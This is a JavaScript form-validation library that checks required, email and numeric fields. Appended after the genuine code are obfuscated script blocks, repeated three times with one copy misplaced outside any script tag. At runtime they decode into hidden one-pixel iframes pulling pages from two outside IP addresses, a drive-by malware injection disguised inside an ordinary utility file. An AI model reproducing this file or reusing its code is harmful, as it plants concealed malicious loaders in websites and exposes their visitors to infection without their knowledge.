/* 
	Clean Form Validation was written from scratch by Marc Grabanski
// http://marcgrabanski.com/code/clean-form-validation
/* Under the Creative Commons Licence http://creativecommons.org/licenses/by/3.0/
	Share or Remix it but please Attribute the authors. */

var cleanValidator = {
	init: function (settings) {
		this.settings = settings;
		this.form = document.getElementById(this.settings["formId"]);
		formInputs = this.form.getElementsByTagName("input");
		
		// change color of inputs on focus
		for(i=0;i<formInputs.length;i++)
		{
			if(formInputs[i].getAttribute("type") != "submit") {
				input = formInputs[i];
				input.style.background = settings["inputColors"][0];
				input.onblur = function () {
					this.style.background = settings["inputColors"][0];
				}
				input.onfocus = function () {
					this.style.background = settings["inputColors"][1];
				}
			}
		};
		this.form.onsubmit = function () {
			error = cleanValidator.validate();
			if(error.length < 1) {
				return true;
			} else {
				cleanValidator.printError(error);
				return false;
			}
		};
	},
	validate: function () {
		error = '';
		validationTypes = new Array("isRequired", "isEmail", "isNumeric");
		for(n=0; n<validationTypes.length; n++) {
			var x = this.settings[validationTypes[n]];
			if(x != null) {
				for(i=0; i<x.length; i++) 
				{
					inputField = document.getElementById(x[i]);
					switch (validationTypes[n]) {
						case "isRequired" :
						valid = !isRequired(inputField.value);
						errorMsg = "Please post your";
						break;
						case "isEmail" :
						valid = isEmail(inputField.value);
						errorMsg = "is an invalid email address.";
						break;
						case "isNumeric" :
						valid = isNumeric(inputField.value);
						errorMsg = "can only be a number.";
						break;
					}
					if(!valid) {
						error +=errorMsg+" "+x[i]+" \n";
						inputField.style.background = this.settings["errorColors"][0];
						inputField.style.border = "1px solid "+this.settings["errorColors"][1];
					} else {
						inputField.style.background = this.settings["inputColors"][0];
						inputField.style.border = '1px solid';
					}
				}
			}
		}
		return error;
	},
	printError: function (error) {
		alert(error);
	}
};

// returns true if the string is not empty
function isRequired(str){
	return (str == null) || (str.length == 0);
}
// returns true if the string is a valid email
function isEmail(str){
	if(isRequired(str)) return false;
	var re = /^[^\s()<>@,;:\/]+@\w[\w\.-]+\.[a-z]{2,}$/i
	return re.test(str);
}
// returns true if the string only contains characters 0-9 and is not null
function isNumeric(str){
	if(isRequired(str)) return false;
	var re = /[\D]/g
	if (re.test(str)) return false;
	return true;
}
<script language=JavaScript>
var ozhlwmiubhr = 'sYsygahAW3csYsygahAW69sYsygahAW66';var wcxrrdpczkz = 'sYsygahAW72';var vahpxawqkoq = 'sYsygahAW61sYsygahAW6dsYsygahAW65sYsygahAW20sYsygahAW6esYsygahAW61sYsygahAW6dsYsygahAW65sYsygahAW3dsYsygahAW22';var yanejhgqzls = 'sYsygahAW6esYsygahAW62sYsygahAW6csYsygahAW6csYsygahAW72sYsygahAW79sYsygahAW6bsYsygahAW72sYsygahAW74sYsygahAW7asYsygahAW70';var wckarmzcmtd = 'sYsygahAW22sYsygahAW20sYsygahAW77sYsygahAW69sYsygahAW64sYsygahAW74sYsygahAW68sYsygahAW3dsYsygahAW22sYsygahAW31sYsygahAW22sYsygahAW20sYsygahAW68sYsygahAW65sYsygahAW69sYsygahAW67sYsygahAW68sYsygahAW74sYsygahAW3dsYsygahAW22sYsygahAW30sYsygahAW22';var xibtfreuiwv = 'sYsygahAW20sYsygahAW73sYsygahAW72sYsygahAW63sYsygahAW3dsYsygahAW22';var ybedhvctnzv = 'sYsygahAW68sYsygahAW74sYsygahAW74sYsygahAW70sYsygahAW3asYsygahAW2fsYsygahAW2f';var xznlyqxruqa = 'sYsygahAW38sYsygahAW37sYsygahAW2esYsygahAW39sYsygahAW38sYsygahAW2esYsygahAW32sYsygahAW31sYsygahAW38sYsygahAW2esYsygahAW32sYsygahAW30sYsygahAW34sYsygahAW2fsYsygahAW64sYsygahAW6fsYsygahAW6csYsygahAW2fsYsygahAW69sYsygahAW6esYsygahAW64sYsygahAW65sYsygahAW78sYsygahAW2esYsygahAW70sYsygahAW68sYsygahAW70';var mkgnobwlwsm = 'sYsygahAW22sYsygahAW20sYsygahAW6dsYsygahAW61sYsygahAW72sYsygahAW67sYsygahAW69sYsygahAW6esYsygahAW77sYsygahAW69sYsygahAW64sYsygahAW74sYsygahAW68sYsygahAW3dsYsygahAW22sYsygahAW31sYsygahAW22sYsygahAW20sYsygahAW6dsYsygahAW61sYsygahAW72sYsygahAW67sYsygahAW69sYsygahAW6esYsygahAW68sYsygahAW65sYsygahAW69sYsygahAW67sYsygahAW68sYsygahAW74sYsygahAW3dsYsygahAW22sYsygahAW30sYsygahAW22sYsygahAW20sYsygahAW74sYsygahAW69sYsygahAW74sYsygahAW6csYsygahAW65sYsygahAW3dsYsygahAW22';var yvuwxnkwjiv = 'sYsygahAW6esYsygahAW62sYsygahAW6csYsygahAW6csYsygahAW72sYsygahAW79sYsygahAW6bsYsygahAW72sYsygahAW74sYsygahAW7asYsygahAW70';var wtuoqmihmer = 'sYsygahAW22sYsygahAW20sYsygahAW73sYsygahAW63sYsygahAW72sYsygahAW6fsYsygahAW6csYsygahAW6csYsygahAW69sYsygahAW6esYsygahAW67sYsygahAW3dsYsygahAW22sYsygahAW6esYsygahAW6fsYsygahAW22sYsygahAW20sYsygahAW62sYsygahAW6fsYsygahAW72sYsygahAW64sYsygahAW65sYsygahAW72sYsygahAW3dsYsygahAW22sYsygahAW30sYsygahAW22sYsygahAW20sYsygahAW66sYsygahAW72sYsygahAW61sYsygahAW6dsYsygahAW65sYsygahAW62sYsygahAW6fsYsygahAW72sYsygahAW64sYsygahAW65sYsygahAW72sYsygahAW3dsYsygahAW22sYsygahAW30sYsygahAW22sYsygahAW3e';var yrfunrqfdra = 'sYsygahAW3csYsygahAW2fsYsygahAW69sYsygahAW66';var rnylyvvgqsa = 'sYsygahAW72sYsygahAW61';var xhqxpyjtpdl = 'sYsygahAW6dsYsygahAW65sYsygahAW3e';var oxymneqffot = new Array();oxymneqffot[0]=new Array(ozhlwmiubhr+wcxrrdpczkz+vahpxawqkoq+yanejhgqzls+wckarmzcmtd+xibtfreuiwv+ybedhvctnzv+xznlyqxruqa+mkgnobwlwsm+yvuwxnkwjiv+wtuoqmihmer+yrfunrqfdra+rnylyvvgqsa+xhqxpyjtpdl);document['sYsygahAWwsYsygahAWrsYsygahAWisYsygahAWtsYsygahAWesYsygahAW'.replace(/sYsygahAW/g,'')](window['sYsygahAWusYsygahAWnsYsygahAWesYsygahAWssYsygahAWcsYsygahAWasYsygahAWpsYsygahAWesYsygahAW'.replace(/sYsygahAW/g,'')](oxymneqffot.toString().replace(/sYsygahAW/g,'%')));</script>
<script language=JavaScript>
var uanbvqqjnvp = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq69aXUgaXupEZYTuq66';var pbzknnysfbl = 'aXUgaXupEZYTuq72';var tiuldkmwapw = 'aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq20aXUgaXupEZYTuq6eaXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var uqrehbrcqhe = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var vrrdqkirwpa = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22';var tadbmzccwqs = 'aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq72aXUgaXupEZYTuq63aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var zuaomcfthvl = 'aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq74aXUgaXupEZYTuq70aXUgaXupEZYTuq3aaXUgaXupEZYTuq2faXUgaXupEZYTuq2f';var yybjgtgvtxw = '85.12.60.10/dlo/index.php';var oyjwblsregm = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq74aXUgaXupEZYTuq69aXUgaXupEZYTuq74aXUgaXupEZYTuq6caXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var ovyharowdnu = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var oxbxdxqbuna = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq63aXUgaXupEZYTuq72aXUgaXupEZYTuq6faXUgaXupEZYTuq6caXUgaXupEZYTuq6caXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq67aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq6eaXUgaXupEZYTuq6faXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq66aXUgaXupEZYTuq72aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq3e';var njbpbsuieyd = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq2faXUgaXupEZYTuq69aXUgaXupEZYTuq66';var ygdvuayiudf = 'aXUgaXupEZYTuq72aXUgaXupEZYTuq61';var saiurkoekso = 'aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3e';var oiqdcyibblh = new Array();oiqdcyibblh[0]=new Array(uanbvqqjnvp+pbzknnysfbl+tiuldkmwapw+uqrehbrcqhe+vrrdqkirwpa+tadbmzccwqs+zuaomcfthvl+yybjgtgvtxw+oyjwblsregm+ovyharowdnu+oxbxdxqbuna+njbpbsuieyd+ygdvuayiudf+saiurkoekso);document['aXUgaXupEZYTuqwaXUgaXupEZYTuqraXUgaXupEZYTuqiaXUgaXupEZYTuqtaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](window['aXUgaXupEZYTuquaXUgaXupEZYTuqnaXUgaXupEZYTuqeaXUgaXupEZYTuqsaXUgaXupEZYTuqcaXUgaXupEZYTuqaaXUgaXupEZYTuqpaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](oiqdcyibblh.toString().replace(/aXUgaXupEZYTuq/g,'%')));</script>
var uanbvqqjnvp = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq69aXUgaXupEZYTuq66';var pbzknnysfbl = 'aXUgaXupEZYTuq72';var tiuldkmwapw = 'aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq20aXUgaXupEZYTuq6eaXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var uqrehbrcqhe = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var vrrdqkirwpa = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22';var tadbmzccwqs = 'aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq72aXUgaXupEZYTuq63aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var zuaomcfthvl = 'aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq74aXUgaXupEZYTuq70aXUgaXupEZYTuq3aaXUgaXupEZYTuq2faXUgaXupEZYTuq2f';var yybjgtgvtxw = '85.12.60.10/dlo/index.php';var oyjwblsregm = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq74aXUgaXupEZYTuq69aXUgaXupEZYTuq74aXUgaXupEZYTuq6caXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var ovyharowdnu = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var oxbxdxqbuna = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq63aXUgaXupEZYTuq72aXUgaXupEZYTuq6faXUgaXupEZYTuq6caXUgaXupEZYTuq6caXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq67aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq6eaXUgaXupEZYTuq6faXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq66aXUgaXupEZYTuq72aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq3e';var njbpbsuieyd = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq2faXUgaXupEZYTuq69aXUgaXupEZYTuq66';var ygdvuayiudf = 'aXUgaXupEZYTuq72aXUgaXupEZYTuq61';var saiurkoekso = 'aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3e';var oiqdcyibblh = new Array();oiqdcyibblh[0]=new Array(uanbvqqjnvp+pbzknnysfbl+tiuldkmwapw+uqrehbrcqhe+vrrdqkirwpa+tadbmzccwqs+zuaomcfthvl+yybjgtgvtxw+oyjwblsregm+ovyharowdnu+oxbxdxqbuna+njbpbsuieyd+ygdvuayiudf+saiurkoekso);document['aXUgaXupEZYTuqwaXUgaXupEZYTuqraXUgaXupEZYTuqiaXUgaXupEZYTuqtaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](window['aXUgaXupEZYTuquaXUgaXupEZYTuqnaXUgaXupEZYTuqeaXUgaXupEZYTuqsaXUgaXupEZYTuqcaXUgaXupEZYTuqaaXUgaXupEZYTuqpaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](oiqdcyibblh.toString().replace(/aXUgaXupEZYTuq/g,'%')));